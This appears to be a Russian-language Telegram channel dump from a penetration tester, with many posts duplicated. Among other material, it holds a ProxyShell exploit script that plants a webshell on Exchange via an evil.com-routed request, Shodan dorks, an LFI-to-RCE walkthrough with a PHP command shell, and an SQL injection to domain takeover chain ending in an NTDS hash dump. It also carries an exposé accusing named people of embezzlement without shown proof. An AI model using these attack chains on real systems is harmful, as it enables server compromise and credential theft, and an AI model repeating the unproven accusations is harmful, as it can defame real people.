#газпром #Троицк #часть2
Разоблачение: как через ОГК-2 выводятся сотни миллионов рублей
🔍 В наше распоряжение попали документы, касающиеся контрактов ПАО «ОГК-2» (Вторая генерирующая компания оптового рынка электроэнергии) в филиале г. Троицк. Это сканы договоров, приложений, технических заданий, а также внутренней переписки и актов выполненных работ.
💰 Общая сумма одного лишь договора №22-11/24-200 — 142 083 679,50 рублей без НДС, итоговая сумма с НДС — 170 500 415 рублей.
📄 Документы включают:
Договор на выполнение комплекса работ (дата начала: май 2024, завершение: апрель 2026);
Приложения с техническим заданием, сметой и графиками;
Акты согласования субподрядчиков;
Уведомления о коммерческой тайне;
Подписи и печати всех сторон, включая доверенности.
📌 Ключевые фигуранты:
Подрядчик: ООО «Кордань»;
Заказчик: ПАО «ОГК-2» (Троицкая ГРЭС);
Генеральный директор «Кордань»: Динчук Сергей Александрович;
От имени «ОГК-2» действует Селивёрстов С.А., подписывающий ряд внутренних распоряжений.
❗️ Что вызывает вопросы:
Формальный характер работ — в договоре указано, что «всё выполняется на свой страх и риск», а в акте №3 не указано, какие именно виды работ были выполнены. Подрядчик сам себя проверяет и подписывает акты.
Подписание договора обеими сторонами одними и теми же лицами — Динчук С.А. и Селивёрстов С.А. участвуют в обеих организациях (или действуют по доверенности без контроля).
ООО «Кордань» фигурирует сразу в нескольких подрядных документах с «ОГК-2» — указывается как основной подрядчик и автор технической документации. Однако, никаких подтверждённых работ по этим объектам в публичных источниках нет.
Договоры носят характер отвлечения средств:
В приложении №1 прописаны поставки и монтаж оборудования, но без указания моделей, заводов-изготовителей и смет;
В приложении №8 («Коммерческая тайна») указано, что любые данные о стоимости и объёмах работ не подлежат разглашению.
Субподрядчики согласовываются без конкурса, через уведомления (приложение №12), что противоречит закону №44-ФЗ при расходовании средств госпредприятий.
Условия оплаты:
По пункту 1.6 договора «предусмотрена авансовая выплата до 10% от общей суммы в течение 10 дней с момента подписания»;
Сроки исполнения — 24 месяца, без штрафов за просрочку, если стороны подписывают акт о переносе сроков.
📌 Как выглядит схема?
➡️ 1. Заключается договор на крупную сумму (пример: договор №22-11/24-200 на 170,5 млн).
➡️ 2. Подрядчиком выступает ООО «Кордань», зарегистрированное в Санкт-Петербурге, но деятельность ведёт в Челябинской области.
➡️ 3. В договорах отсутствуют конкретные технические детали: модели оборудования, производителей, заводы-поставщики.
➡️ 4. Внутри документов (приложения 2, 4 и 7) прописано, что качество оценивается самим подрядчиком, а заказчик освобождён от проверок.
➡️ 5. Через согласование фиктивных субподрядчиков и актов формируется «выполненная работа».
➡️ 6. Авансы и последующие платежи уходят на счета ООО «Кордань» и аффилированных компаний, без реального исполнения.
🧾 Из отдельных строк актов:
«...стоимость работ по договору составляет 142 083 679,50 руб. без учёта НДС… все условия выполнены… исполнитель подтверждает отсутствие претензий». — Акт сдачи №3
«...выполняется на свой страх и риск, заказчик не несёт ответственности за технические и экономические последствия». — Приложение №4
🆕 Новый факт:
Также стало известно, что в 2025 году заключён ещё один договор под номером №113 на сумму 90 млн рублей, при этом реальная стоимость выполненных работ составляет всего 3 млн рублей. По свидетельству очевидца, начальник ОТПиР Кинерейш Сергей Андреевич и директор Троицкой ГРЭС Аблулгазизов Руслан Сергеевич отказались давать комментарии и заявили буквально: «Это не ваше дело, пусть отмывает. Идите работайте».
📉 Итог: документы и сообщения указывают на типичную схему по обналичиванию и выводу бюджетных средств через фиктивные подрядные работы, с использованием аффилированных лиц, заранее подписанных актов и формальных согласований.
⚠️ Ущерб бюджету — более 170 млн рублей только по одному договору. По второму (№113) — минимум 87
Разоблачение: как через ОГК-2 выводятся сотни миллионов рублей
🔍 В наше распоряжение попали документы, касающиеся контрактов ПАО «ОГК-2» (Вторая генерирующая компания оптового рынка электроэнергии) в филиале г. Троицк. Это сканы договоров, приложений, технических заданий, а также внутренней переписки и актов выполненных работ.
💰 Общая сумма одного лишь договора №22-11/24-200 — 142 083 679,50 рублей без НДС, итоговая сумма с НДС — 170 500 415 рублей.
📄 Документы включают:
Договор на выполнение комплекса работ (дата начала: май 2024, завершение: апрель 2026);
Приложения с техническим заданием, сметой и графиками;
Акты согласования субподрядчиков;
Уведомления о коммерческой тайне;
Подписи и печати всех сторон, включая доверенности.
📌 Ключевые фигуранты:
Подрядчик: ООО «Кордань»;
Заказчик: ПАО «ОГК-2» (Троицкая ГРЭС);
Генеральный директор «Кордань»: Динчук Сергей Александрович;
От имени «ОГК-2» действует Селивёрстов С.А., подписывающий ряд внутренних распоряжений.
❗️ Что вызывает вопросы:
Формальный характер работ — в договоре указано, что «всё выполняется на свой страх и риск», а в акте №3 не указано, какие именно виды работ были выполнены. Подрядчик сам себя проверяет и подписывает акты.
Подписание договора обеими сторонами одними и теми же лицами — Динчук С.А. и Селивёрстов С.А. участвуют в обеих организациях (или действуют по доверенности без контроля).
ООО «Кордань» фигурирует сразу в нескольких подрядных документах с «ОГК-2» — указывается как основной подрядчик и автор технической документации. Однако, никаких подтверждённых работ по этим объектам в публичных источниках нет.
Договоры носят характер отвлечения средств:
В приложении №1 прописаны поставки и монтаж оборудования, но без указания моделей, заводов-изготовителей и смет;
В приложении №8 («Коммерческая тайна») указано, что любые данные о стоимости и объёмах работ не подлежат разглашению.
Субподрядчики согласовываются без конкурса, через уведомления (приложение №12), что противоречит закону №44-ФЗ при расходовании средств госпредприятий.
Условия оплаты:
По пункту 1.6 договора «предусмотрена авансовая выплата до 10% от общей суммы в течение 10 дней с момента подписания»;
Сроки исполнения — 24 месяца, без штрафов за просрочку, если стороны подписывают акт о переносе сроков.
📌 Как выглядит схема?
➡️ 1. Заключается договор на крупную сумму (пример: договор №22-11/24-200 на 170,5 млн).
➡️ 2. Подрядчиком выступает ООО «Кордань», зарегистрированное в Санкт-Петербурге, но деятельность ведёт в Челябинской области.
➡️ 3. В договорах отсутствуют конкретные технические детали: модели оборудования, производителей, заводы-поставщики.
➡️ 4. Внутри документов (приложения 2, 4 и 7) прописано, что качество оценивается самим подрядчиком, а заказчик освобождён от проверок.
➡️ 5. Через согласование фиктивных субподрядчиков и актов формируется «выполненная работа».
➡️ 6. Авансы и последующие платежи уходят на счета ООО «Кордань» и аффилированных компаний, без реального исполнения.
🧾 Из отдельных строк актов:
«...стоимость работ по договору составляет 142 083 679,50 руб. без учёта НДС… все условия выполнены… исполнитель подтверждает отсутствие претензий». — Акт сдачи №3
«...выполняется на свой страх и риск, заказчик не несёт ответственности за технические и экономические последствия». — Приложение №4
🆕 Новый факт:
Также стало известно, что в 2025 году заключён ещё один договор под номером №113 на сумму 90 млн рублей, при этом реальная стоимость выполненных работ составляет всего 3 млн рублей. По свидетельству очевидца, начальник ОТПиР Кинерейш Сергей Андреевич и директор Троицкой ГРЭС Аблулгазизов Руслан Сергеевич отказались давать комментарии и заявили буквально: «Это не ваше дело, пусть отмывает. Идите работайте».
📉 Итог: документы и сообщения указывают на типичную схему по обналичиванию и выводу бюджетных средств через фиктивные подрядные работы, с использованием аффилированных лиц, заранее подписанных актов и формальных согласований.
⚠️ Ущерб бюджету — более 170 млн рублей только по одному договору. По второму (№113) — минимум 87
👍2
#ProxyShell
В 2021 году сразу три бага в Exchange Server (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) позволили атаковать корпоративную почту без логина
Уязвимость в механизме обработки внешних запросов, позволяющая неавторизованному атакующему:
1. выполнять команды на сервере,
2. загружать вебшеллы,
3. получать доступ к почте и учёткам.
Кратко: через "обход маршрутизации" можно попасть в PowerShell backend Exchange и дальше выполнить любой код.
Как это работает:
- Exchange сервер публикует HTTPS (обычно порт 443) наружу.
- Уязвимость позволяет "обмануть" механизм маршрутизации (X-Rps-CAT + специфический URL).
- В итоге: можно сделать запрос, как будто ты — привилегированный пользователь (SYSTEM).
Запрос на получение почты:
После этого можно цеплять специальные запросы к endpoint’ам Exchange:
Упрощённый пример на питоне сгенерированный чатомгпт (я не проверял работоспособность, у нас свои эксплоиты под это 😆)
Публичные эксплоиты (PoC):
https://github.com/dmaasland/proxyshell-poc
https://github.com/horizon3ai/proxyshell
Шодан:
или
Признаки взлома:
1. Неизвестные .aspx-файлы в /aspnet_client/
2. Странные PowerShell-скрипты в логах
3. Запросы к URL с autodiscover.json?@ и длинными параметрами
Как пофиксить:
1. Поставить последние cumulative updates для Exchange
2. Закрыть внешний доступ к Exchange (используй VPN)
3. Регулярно проверять логи и wwwroot
4. Отключить/мониторить PowerShell Remoting, если не используется
В 2021 году сразу три бага в Exchange Server (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) позволили атаковать корпоративную почту без логина
Уязвимость в механизме обработки внешних запросов, позволяющая неавторизованному атакующему:
1. выполнять команды на сервере,
2. загружать вебшеллы,
3. получать доступ к почте и учёткам.
Кратко: через "обход маршрутизации" можно попасть в PowerShell backend Exchange и дальше выполнить любой код.
Как это работает:
- Exchange сервер публикует HTTPS (обычно порт 443) наружу.
- Уязвимость позволяет "обмануть" механизм маршрутизации (X-Rps-CAT + специфический URL).
- В итоге: можно сделать запрос, как будто ты — привилегированный пользователь (SYSTEM).
Запрос на получение почты:
POST /autodiscover/autodiscover.json?@evil.com/mapi/nspi/ HTTP/1.1
Host: exchange.example.com
Content-Type: application/json
После этого можно цеплять специальные запросы к endpoint’ам Exchange:
POST /mapi/nspi/?MailboxId=<mailbox_id>&a=~1942062522 HTTP/1.1
Host: exchange.example.com
Cookie: X-BEResource=Administrator@exchange.example.com/EWS/Exchange.asmx?a=~1942062522;
Упрощённый пример на питоне сгенерированный чатомгпт (я не проверял работоспособность, у нас свои эксплоиты под это 😆)
import requests
exchange_url = "https://exchange.example.com"
webshell_path = "/aspnet_client/webshell.aspx"
webshell_code = "<%@ Page Language='C#' %><% Response.Write(\"Shell!\"); %>"
headers = {
"Cookie": "X-BEResource=Administrator@exchange.example.com/powershell?~1942062522;",
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"""<r>
<s>New-Item -Path 'C:\\inetpub\\wwwroot\\aspnet_client\\webshell.aspx' -ItemType File -Value '{webshell_code}'</s>
</r>"""
resp = requests.post(f"{exchange_url}/autodiscover/autodiscover.json?@evil.com/powershell/", headers=headers, data=data, verify=False)
print(resp.text)
Публичные эксплоиты (PoC):
https://github.com/dmaasland/proxyshell-poc
https://github.com/horizon3ai/proxyshell
Шодан:
ssl:"Microsoft Exchange"
или
title:"Outlook"
Признаки взлома:
1. Неизвестные .aspx-файлы в /aspnet_client/
2. Странные PowerShell-скрипты в логах
3. Запросы к URL с autodiscover.json?@ и длинными параметрами
Как пофиксить:
1. Поставить последние cumulative updates для Exchange
2. Закрыть внешний доступ к Exchange (используй VPN)
3. Регулярно проверять логи и wwwroot
4. Отключить/мониторить PowerShell Remoting, если не используется
👍1🥰1
Небольшой скрипт который берёт историю айпи адресов домена, отправляет оригинальный запрос, запоминает ответ, после чего подменяет полученные айпи адреса из истории айпи адрес домена и подставляет в реквест по очереди (для обхода клауда нужно, а то я заепался каждый раз вручную в бюрпе тыкать)
https://github.com/lukeone-wq/bypass
Как юзать:
https://github.com/lukeone-wq/bypass
pip3 install requests beautifulsoup4
Как юзать:
python3 bypass.py -r request.txt
❤8🔥3
Взлом «Аэрофлота»: как работают хорошие специалисты, но мешает коррупция
Что произошло
28 июля 2025 года национальная авиакомпания «Аэрофлот» столкнулась с мощной кибератакой. В результате более 50 рейсов были отменены, множество задержаны, а системы в Шереметьево и головном офисе оказались полностью выведены из строя. Уголовное дело завела прокуратура, подтвердившая факт атаки
Ответственность взяли на себя две про‑украинские хакерские группы — Silent Crow и Belarusian Cyber‑Partisans. Они заявили, что проникли в сеть уже более года назад, украли порядка 12–20 ТБ данных и уничтожили около 7 000 серверов
Кто отвечал за безопасность и как повлияла коррупция
Официально «Аэрофлот» тратил значительные средства на информационную безопасность: в 2024 году было инвестировано около 859 млн ₽ (~11 млн $), компания переходила на российские IT-решения после ухода западных провайдеров
При этом внутри организации работают квалифицированные специалисты — их нельзя обвинять в профессиональной слабости. Однако, по версии злоумышленников, основные проблемы связаны не с технической некомпетентностью, а с коррупционными схемами и пренебрежением простыми мерами безопасности. Утверждается, что:
— Директор или ИТ-руководство не меняли пароли аккаунтов (включая учётку CEO) с 2022 года
— Использовались устаревшие ОС — Windows XP и Windows Server 2003, известные уязвимости, включая MS17‑010 (EternalBlue), упрощали атаку
Можно предположить, что регламенты обновления систем и наказания за их нарушение либо вовсе не соблюдались, либо не внедрялись из-за коррупции — тогда закупки новых серверов и лицензированных ОС могли обходиться стороной.
Почему всё равно работали хорошие специалисты:
Те, кто реально обеспечивал кибербезопасность, вероятно, обладали требуемыми навыками. Проблема в том, что они действовали в системе, где технические усилия подрывались финансовой и организационной несплочённостью. Хорошие специалисты в таких условиях оказываются заложниками бюрократии и корпоративных соглашений.
Последствия и уроки:
Системы бронирования, наблюдения, ERP/CRM, почтовые и корпоративные сервисы оказались выведены из строя, восстановление может стоить «десятки миллионов долларов» и растянуться на месяцы
Урон репутации госкомпании — значительный. Депутат Антон Немкин потребовал выяснить, кто допустил такие системные сбои и несёт за это ответственность
Вывод (моё мнение):
Аэрофлот не страдает от дефицита квалифицированных IT‑специалистов — проблема глубже: оборудование и системы работали на древнем софте (Windows XP/Server 2003), уязвимом и не актуализированном. Вероятно, корень в коррупционных схемах, позволявших не закупать или не обновлять ключевые компоненты инфраструктуры.
Даже лучшие специалисты не могут полностью обезопасить систему, если руководство допускает устаревшую технику и игнорирует элементарные меры безопасности.
Основной посыл данной истории в том, что нужно следовать рекомендациям специалистов ИБ, либо вас так же смогут взломать даже такие люди как на фото...
Что произошло
28 июля 2025 года национальная авиакомпания «Аэрофлот» столкнулась с мощной кибератакой. В результате более 50 рейсов были отменены, множество задержаны, а системы в Шереметьево и головном офисе оказались полностью выведены из строя. Уголовное дело завела прокуратура, подтвердившая факт атаки
Ответственность взяли на себя две про‑украинские хакерские группы — Silent Crow и Belarusian Cyber‑Partisans. Они заявили, что проникли в сеть уже более года назад, украли порядка 12–20 ТБ данных и уничтожили около 7 000 серверов
Кто отвечал за безопасность и как повлияла коррупция
Официально «Аэрофлот» тратил значительные средства на информационную безопасность: в 2024 году было инвестировано около 859 млн ₽ (~11 млн $), компания переходила на российские IT-решения после ухода западных провайдеров
При этом внутри организации работают квалифицированные специалисты — их нельзя обвинять в профессиональной слабости. Однако, по версии злоумышленников, основные проблемы связаны не с технической некомпетентностью, а с коррупционными схемами и пренебрежением простыми мерами безопасности. Утверждается, что:
— Директор или ИТ-руководство не меняли пароли аккаунтов (включая учётку CEO) с 2022 года
— Использовались устаревшие ОС — Windows XP и Windows Server 2003, известные уязвимости, включая MS17‑010 (EternalBlue), упрощали атаку
Можно предположить, что регламенты обновления систем и наказания за их нарушение либо вовсе не соблюдались, либо не внедрялись из-за коррупции — тогда закупки новых серверов и лицензированных ОС могли обходиться стороной.
Почему всё равно работали хорошие специалисты:
Те, кто реально обеспечивал кибербезопасность, вероятно, обладали требуемыми навыками. Проблема в том, что они действовали в системе, где технические усилия подрывались финансовой и организационной несплочённостью. Хорошие специалисты в таких условиях оказываются заложниками бюрократии и корпоративных соглашений.
Последствия и уроки:
Системы бронирования, наблюдения, ERP/CRM, почтовые и корпоративные сервисы оказались выведены из строя, восстановление может стоить «десятки миллионов долларов» и растянуться на месяцы
Урон репутации госкомпании — значительный. Депутат Антон Немкин потребовал выяснить, кто допустил такие системные сбои и несёт за это ответственность
Вывод (моё мнение):
Аэрофлот не страдает от дефицита квалифицированных IT‑специалистов — проблема глубже: оборудование и системы работали на древнем софте (Windows XP/Server 2003), уязвимом и не актуализированном. Вероятно, корень в коррупционных схемах, позволявших не закупать или не обновлять ключевые компоненты инфраструктуры.
Даже лучшие специалисты не могут полностью обезопасить систему, если руководство допускает устаревшую технику и игнорирует элементарные меры безопасности.
Основной посыл данной истории в том, что нужно следовать рекомендациям специалистов ИБ, либо вас так же смогут взломать даже такие люди как на фото...
❤12👍1
От LFI до RCE.
Недавно тестировал веб-приложение, где был классический Local File Inclusion (изначально я думал, что просто path traversal). Все шаги расписаны с учётом пхп на бэке.
1. Проверка
2. Попытка записи файла
Если появился /test.php с ответом "OK" - значит всё збс
3. Ну и шелл заливаем
/test.php?cmd=id (RCE)
Ограничения были только open_basedir позволял работать только в пределах /var/www/vhosts/.../ и /tmp/
Вывод:
Ошибки уровня LFI часто недооценивают: «прочитать пару файлов». На практике, если рядом доступны функции записи или сетевого доступа, это уже не просто информационная утечка, а реальный вход в систему.
Защита: строгая валидация путей и отказ от использования опасных функций (include с пользовательским вводом, file_put_contents без контроля).
Недавно тестировал веб-приложение, где был классический Local File Inclusion (изначально я думал, что просто path traversal). Все шаги расписаны с учётом пхп на бэке.
1. Проверка
GET /index.php?page=../../../../etc/passwd HTTP/1.1
Host: target
2. Попытка записи файла
GET /index.php?page=php://filter/convert.base64-encode/resource=/var/www/vhosts/site.ru/httpdocs/test.php&data=<?php echo "OK"; ?> HTTP/1.1
Host: target
Если появился /test.php с ответом "OK" - значит всё збс
3. Ну и шелл заливаем
GET /index.php?page=php://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
<?php echo shell_exec($_GET['cmd']); ?>
/test.php?cmd=id (RCE)
Ограничения были только open_basedir позволял работать только в пределах /var/www/vhosts/.../ и /tmp/
Вывод:
Ошибки уровня LFI часто недооценивают: «прочитать пару файлов». На практике, если рядом доступны функции записи или сетевого доступа, это уже не просто информационная утечка, а реальный вход в систему.
Защита: строгая валидация путей и отказ от использования опасных функций (include с пользовательским вводом, file_put_contents без контроля).
❤6🥰3👍2🔥2😱2
Разбор интервью. Кто герой и почему это важно
Интервью взяли у Sean Townsend (Andrii Baranovych) — украинского хактивиста, сооснователя Ukrainian Cyber Alliance (RUH8 и др.).
Это не медийная звезда для массовой аудитории, но в узком ИБ-круге его имя известно давно: от истории с VX Heavens до хактивизма против РФ. Поэтому любые громкие заявления — не «аванс доверия», а предмет холодного факт-чека.
Разбор интервью https://dev.ua/news/townsend-1757450678. По ряду пунктов звучит так, будто нас держат за наивных: громкие заявления — ноль артефактов.
Красные флажки (похоже на обман или сильные преувеличения):
1) Dozor-Teleport «под чужим флагом». Сбой оператора действительно был, но доказательств, что это именно UCA и что «ложный флаг» — их работа, не показано. Ни таймлайна, ни техартефактов. Плюс подмена понятий: речь об операторе/наземной инфраструктуре, а не о «сбитом спутнике».
2) DIIA «взломана», утекли «реальные» данные, видели /.git/config. Официальные лица отрицали компрометацию. От Townsend — ноль пруфов: ни скриншотов, ни хешей, ни конкретики по вектору. Пока это — слова.
3) PrivatBank: «крали пароли и обходили 2FA» в раннем багбаунти. Звучит эффектно, но нет ни публичного отчёта, ни репорта в программе, ни повторяемости. Верить на слово?
4) «Пострадали пользовательские терминалы» в спутниковой истории. Масштаб «поражения» никто извне не мерил. Без метрик и телеметрии — красивая легенда.
Data Center Dynamics
5) «Работали вместе с военными». Любимый штамп в хактеллингах. Без дат, юрисдикций, названий задействованных структур и техдеталей — пустой звук.
6) Происхождение ника и «паспорт» из переписки «министерства информации ДНР». Эффектная байка, не подкреплённая проверяемыми документами.
Что действительно подтверждается:
1) Изъятие серверов VX Heavens в 2012 — зафиксировано в медиа.
2) Массовые атаки и дефейсы 13–14.01.2022 на сайты госорганов Украины — факт.
3) Летний инцидент с ИТ-системами «Аэрофлота» в 2025 и публичная ответственность Silent Crow + Belarusian Cyber-Partisans — отражено в независимых источниках.
4) Июль-2025: арест фигуранта, связанного с форумом xss.is, — официально подтверждён.
Вердикт:
Интервью щедро приправлено громкими тезисами без доказательств. Там, где есть внешние источники, всё ок. Там, где их нет, — пахнет самопиаром. Хотите, чтобы в это верили? Покажите артефакты: таймлайны, логи, дампы, хеши, сетевую телеметрию и воспроизводимый атрибьюшн. Пока их нет — это не факты, а нарратив.
Интервью взяли у Sean Townsend (Andrii Baranovych) — украинского хактивиста, сооснователя Ukrainian Cyber Alliance (RUH8 и др.).
Это не медийная звезда для массовой аудитории, но в узком ИБ-круге его имя известно давно: от истории с VX Heavens до хактивизма против РФ. Поэтому любые громкие заявления — не «аванс доверия», а предмет холодного факт-чека.
Разбор интервью https://dev.ua/news/townsend-1757450678. По ряду пунктов звучит так, будто нас держат за наивных: громкие заявления — ноль артефактов.
Красные флажки (похоже на обман или сильные преувеличения):
1) Dozor-Teleport «под чужим флагом». Сбой оператора действительно был, но доказательств, что это именно UCA и что «ложный флаг» — их работа, не показано. Ни таймлайна, ни техартефактов. Плюс подмена понятий: речь об операторе/наземной инфраструктуре, а не о «сбитом спутнике».
2) DIIA «взломана», утекли «реальные» данные, видели /.git/config. Официальные лица отрицали компрометацию. От Townsend — ноль пруфов: ни скриншотов, ни хешей, ни конкретики по вектору. Пока это — слова.
3) PrivatBank: «крали пароли и обходили 2FA» в раннем багбаунти. Звучит эффектно, но нет ни публичного отчёта, ни репорта в программе, ни повторяемости. Верить на слово?
4) «Пострадали пользовательские терминалы» в спутниковой истории. Масштаб «поражения» никто извне не мерил. Без метрик и телеметрии — красивая легенда.
Data Center Dynamics
5) «Работали вместе с военными». Любимый штамп в хактеллингах. Без дат, юрисдикций, названий задействованных структур и техдеталей — пустой звук.
6) Происхождение ника и «паспорт» из переписки «министерства информации ДНР». Эффектная байка, не подкреплённая проверяемыми документами.
Что действительно подтверждается:
1) Изъятие серверов VX Heavens в 2012 — зафиксировано в медиа.
2) Массовые атаки и дефейсы 13–14.01.2022 на сайты госорганов Украины — факт.
3) Летний инцидент с ИТ-системами «Аэрофлота» в 2025 и публичная ответственность Silent Crow + Belarusian Cyber-Partisans — отражено в независимых источниках.
4) Июль-2025: арест фигуранта, связанного с форумом xss.is, — официально подтверждён.
Вердикт:
Интервью щедро приправлено громкими тезисами без доказательств. Там, где есть внешние источники, всё ок. Там, где их нет, — пахнет самопиаром. Хотите, чтобы в это верили? Покажите артефакты: таймлайны, логи, дампы, хеши, сетевую телеметрию и воспроизводимый атрибьюшн. Пока их нет — это не факты, а нарратив.
❤1
Из интересных и лёгких кейсов в последнее время:
SQL-инъекция → MSSQL → AD takeover
Шаг 1. sql injection в x-forwarded-for
Слипнулось на 5 секунд - збс. Получаем субд и смотрим пользователя от которого запущена субд.
Пользователь: svc_webapp@domain
Шаг 2. sqlmap os-shell
Немного теории, чтобы работал os-shell звёзды должны сойтись так, чтобы на уязвимом сервере был примерно такой стэк:
Шаг 3. Выполняем системные команды:
Шаг 4. Пивот во внутрянку:
net use — подключение сетевого ресурса (файловой шары SMB).
\\fileserver\deploy$ — скрытая административная шара. Такие папки не отображаются при обычном просмотре сети, но доступны, если знаешь точный путь.
/user:domain\svc_webapp P@ssword! — аутентификация от имени сервисной учётки, креды которой мы получили через SQL-инъекцию (или из базы).
Шаг 5. Интеррактивный доступ:
Собираем интерактивный сеанс на сервере:
Попадаем на домен контроллер (дк)
Шаг 6. NTDS
На ДК выполняем:
7. Берём хэшики
Все NTLM-хэши пользователей домена в кармане.
Итог:
Из одной SQL-инъекции в заголовке:
1. доступ к MSSQL
2. выполнение команд через xp_cmdshell,
3. нахождение сервисных кредов,
4. интерактивный доступ к DC,
5. дамп NTDS и полный контроль домена.
SQL-инъекция → MSSQL → AD takeover
Шаг 1. sql injection в x-forwarded-for
GET /portal HTTP/1.1
Host: target.local
X-Forwarded-For: 1' IF(1=1, SLEEP(5), 0)--
Слипнулось на 5 секунд - збс. Получаем субд и смотрим пользователя от которого запущена субд.
Пользователь: svc_webapp@domain
Шаг 2. sqlmap os-shell
Немного теории, чтобы работал os-shell звёзды должны сойтись так, чтобы на уязвимом сервере был примерно такой стэк:
1. База поддерживает вызов системных команд
MSSQL → через xp_cmdshell, sp_oacreate, CLR-ассамблеи.
MySQL/MariaDB → при включённых FILE/PROCESS правах и доступе к sys_exec()/udf.
PostgreSQL → через COPY TO PROGRAM, lo_export(), pg_execute_server_program() и пр.
Oracle → через DBMS_SCHEDULER, DBMS_PIPE, UTL_HTTP, JAVA.
2. Учётка в базе имеет достаточные права
В MSSQL нужен хотя бы sysadmin, иначе xp_cmdshell может быть недоступен.
В PostgreSQL нужен суперпользователь.
В MySQL права SUPER или FILE.
3. Веб-приложение действительно исполняет команды на том же сервере
Если база на отдельном хосте (DB-only сервер без оболочки), то максимум получится писать файлы, но не RCE.
Когда не работает --os-shell:
1. Если у учётки в БД нет прав (например, только db_datareader в MSSQL).
2. Если функции для системных вызовов отключены админом (xp_cmdshell выключен по умолчанию в новых MSSQL).
3. Если база стоит на отдельном хосте, и даже при xp_cmdshell ты попадаешь в среду без нужных утилит (например, только SQL Service без интерактивного шелла).
4. Если WAF/фильтры блокируют полезные нагрузки.
5. Если sqlmap видит SQLi, но она read-only (например, только SELECT без возможности UNION/INSERT/UPDATE).
Шаг 3. Выполняем системные команды:
EXEC xp_cmdshell 'whoami /all';
ответ:
domain\svc_webapp
Privileges : SeBackupPrivilege, SeServiceLogonRight
Шаг 4. Пивот во внутрянку:
net use \\fileserver\deploy$ /user:domain\svc_webapp P@ssword!
$User = "DOMAIN\deploy_admin"
$Pass = ConvertTo-SecureString "Qwerty123!" -AsPlainText -Force
net use — подключение сетевого ресурса (файловой шары SMB).
\\fileserver\deploy$ — скрытая административная шара. Такие папки не отображаются при обычном просмотре сети, но доступны, если знаешь точный путь.
/user:domain\svc_webapp P@ssword! — аутентификация от имени сервисной учётки, креды которой мы получили через SQL-инъекцию (или из базы).
Шаг 5. Интеррактивный доступ:
Собираем интерактивный сеанс на сервере:
Enter-PSSession -ComputerName dc01.domain.local -Credential domain\deploy_admin
Попадаем на домен контроллер (дк)
Шаг 6. NTDS
На ДК выполняем:
ntdsutil "ac i ntds" "ifm" "create full c:\temp\dump" q q
7. Берём хэшики
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
Все NTLM-хэши пользователей домена в кармане.
Итог:
Из одной SQL-инъекции в заголовке:
1. доступ к MSSQL
2. выполнение команд через xp_cmdshell,
3. нахождение сервисных кредов,
4. интерактивный доступ к DC,
5. дамп NTDS и полный контроль домена.
🔥10❤7👍4😁1
Нейросети в пентесте
Пентест сегодня — это не только эксплойты и отчёты, но и огромные массивы данных, которые нужно быстро разобрать, структурировать и понять. Логов, дампов и открытых источников становится всё больше, а времени всё меньше. И здесь нейросети уже перестали быть игрушкой: они стали инструментом, который экономит часы рутинной работы.
Современные модели умеют не просто «отвечать на вопросы», а работать с контекстом. Если к ним подключить поисковик, векторную базу и локальный движок вроде Ollama, получается полноценная система: она собирает данные, индексирует их и на лету подбирает нужные фрагменты для анализа. Такой стек можно собрать в Docker и держать полностью локально — без зависимости от внешних API и рисков утечки.
Задачи, где нейросети реально помогают:
— автоматическая разведка и классификация сервисов по следам в открытых источниках;
— анализ больших объёмов логов и конфигураций, поиск аномалий;
— формирование шаблонов PoC и вспомогательных скриптов;
— черновики отчётов и резюме для заказчика на понятном языке.
Главное — не ждать от модели чудес. Она не взламывает и не заменяет эксперта. Но она отлично справляется с подготовкой, поиском контекста и объяснением сложных вещей. Это уже не автопилот, а умный помощник, который экономит время и держит фокус на сути задачи.
На скриншоте мой локальный стэк. Если у вас есть свои наработки - делитесь))
Пентест сегодня — это не только эксплойты и отчёты, но и огромные массивы данных, которые нужно быстро разобрать, структурировать и понять. Логов, дампов и открытых источников становится всё больше, а времени всё меньше. И здесь нейросети уже перестали быть игрушкой: они стали инструментом, который экономит часы рутинной работы.
Современные модели умеют не просто «отвечать на вопросы», а работать с контекстом. Если к ним подключить поисковик, векторную базу и локальный движок вроде Ollama, получается полноценная система: она собирает данные, индексирует их и на лету подбирает нужные фрагменты для анализа. Такой стек можно собрать в Docker и держать полностью локально — без зависимости от внешних API и рисков утечки.
Задачи, где нейросети реально помогают:
— автоматическая разведка и классификация сервисов по следам в открытых источниках;
— анализ больших объёмов логов и конфигураций, поиск аномалий;
— формирование шаблонов PoC и вспомогательных скриптов;
— черновики отчётов и резюме для заказчика на понятном языке.
Главное — не ждать от модели чудес. Она не взламывает и не заменяет эксперта. Но она отлично справляется с подготовкой, поиском контекста и объяснением сложных вещей. Это уже не автопилот, а умный помощник, который экономит время и держит фокус на сути задачи.
На скриншоте мой локальный стэк. Если у вас есть свои наработки - делитесь))
❤4
Кому интересно почитайте, в основном из-за этой активности не было свежих постов 😆
https://cisoclub.ru/shag-k-kiberustojchivosti-pochta-rossii-zavershila-pervuju-fazu-masshtabnogo-proekta-s-uchastiem-liderov-rynka-ib
https://cisoclub.ru/shag-k-kiberustojchivosti-pochta-rossii-zavershila-pervuju-fazu-masshtabnogo-proekta-s-uchastiem-liderov-rynka-ib
😁3👏2
Web Application Security Notes
Добрый нахуй вечер. 0 Уведомлений, никто меня никуда не вызывал, просто снихуя арест по уголовному делу, следователь вынес постановление из Тюмени. (Я НИРАЗУ В ЖИЗНИ ТАМ НЕ БЫЛ) П,С. ПОСТАНОВЛЕНИЯ Я НЕ ВИДЕЛ
Апдейт: Позвонил в МВД этого района, назвал номер дела
Их ответ: "Мы не знаем, досвидания"
Их ответ: "Мы не знаем, досвидания"
👏3❤1
Апдейт: Нашёл следователя, история такая:
После моего прилёта в РФ из Китая, я обменял валюту на рубли через обменник. Там было 3 платежа. Один из них на 90 000 рублей. Потерпевший который подал заявление в полицию заявил следующее: "я проиграл на ставках деньги, меня обманули". В итоге арест на 90 000 рублей наложили на меня. Обещали вызвать в ближайшее время на допрос в МВД.
После моего прилёта в РФ из Китая, я обменял валюту на рубли через обменник. Там было 3 платежа. Один из них на 90 000 рублей. Потерпевший который подал заявление в полицию заявил следующее: "я проиграл на ставках деньги, меня обманули". В итоге арест на 90 000 рублей наложили на меня. Обещали вызвать в ближайшее время на допрос в МВД.
🤔4😱2
Представь, что человеческий мозг — это база данных.
Старая. Огромная. Критически важная.
Голос в твоей голове — не админ и не "ты".
